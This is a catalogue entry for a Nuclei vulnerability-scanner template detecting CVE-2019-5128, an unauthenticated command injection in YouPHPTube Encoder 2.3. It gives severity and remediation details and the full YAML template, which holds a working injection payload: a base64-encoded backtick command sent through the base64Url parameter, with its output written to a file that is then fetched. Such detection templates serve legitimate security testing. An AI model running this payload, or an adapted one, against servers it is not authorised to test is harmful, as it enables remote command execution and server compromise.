CVE-2019-5128: YouPHPTube Encoder - Arbitrary File Write
- Template: CVE-2019-5128
- Name: YouPHPTube Encoder - Arbitrary File Write
- Description: Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
- Impact: Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content.
- Remediation: Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches.
- Severity: critical
- Authors: pussycat0x
- Tags: cve, cve2019, youphptube, intrusive, encoder, vkev, vuln
- References: https://xz.aliyun.com/news/6312
- Cves: CVE-2019-5128
- Verified: yes
- Directory: http/cves
- Path: http/cves/2019/CVE-2019-5128.yaml
- Digest: 4a0a004730450220074bbcf0c7ddf92e1b404cd06b0874a16cbebbbbe51ce227946dc9cc861d7718022100ab8d7b115253d0eb8c2100a41f338f17b130845190ab555af3dddcd51a91f61c
- Created at: 2025-05-22T06:32:27Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 551
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5128.yaml
- Not known: max requests
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.30174
- Epss percentile: 0.98262
- Cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
Metadata
- Fofa-query: icon_hash="-276846707"
- Product: youphptube_encoder
- Vendor: youphptube
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| youphptube:youphptube_encoder | yes | /v1/products/youphptube/youphptube_encoder |
Labels
- Name: YouPHPTube Encoder - Command Injection
- Impact: Attackers can execute arbitrary commands on the server, potentially leading to full server compromise.
- Remediation: Update to the latest version of YouPHPTube Encoder or apply security patches to sanitize input.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2019-5128
- Not known: requirements
```yaml
id: CVE-2019-5128
info:
name: YouPHPTube Encoder - Arbitrary File Write
author: pussycat0x
severity: critical
description: |
Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
impact: |
Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content.
remediation: |
Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches.
reference:
- https://xz.aliyun.com/news/6312
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-5128
cwe-id: CWE-78
epss-score: 0.30174
epss-percentile: 0.98262
cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
metadata:
verified: true
vendor: youphptube
product: youphptube_encoder
fofa-query: icon_hash="-276846707"
tags: cve,cve2019,youphptube,intrusive,encoder,vkev,vuln
variables:
file_name: "{{rand_text_alpha(4)}}.txt"
content: "id"
payload: '{{base64(concat("`", content, " > ", file_name, "`"))}}'
http:
- raw:
- |
GET /objects/getImageMP4.php?base64Url={{payload}}&format=jpg HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /objects/{{file_name}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body_2
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
- type: status
status:
- 200
digest: 4a0a004730450220074bbcf0c7ddf92e1b404cd06b0874a16cbebbbbe51ce227946dc9cc861d7718022100ab8d7b115253d0eb8c2100a41f338f17b130845190ab555af3dddcd51a91f61c:922c64590222798bb761d5b6d8e72950
```